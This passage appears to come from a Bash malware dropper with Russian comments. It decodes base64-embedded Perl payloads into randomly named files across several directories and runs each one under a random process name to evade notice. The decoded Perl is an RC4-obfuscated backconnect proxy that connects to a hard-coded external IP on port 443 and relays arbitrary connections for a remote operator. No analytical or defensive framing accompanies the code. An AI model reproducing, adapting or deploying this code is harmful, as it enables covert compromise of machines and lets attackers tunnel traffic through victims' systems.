PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #17 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #17 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 18 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ 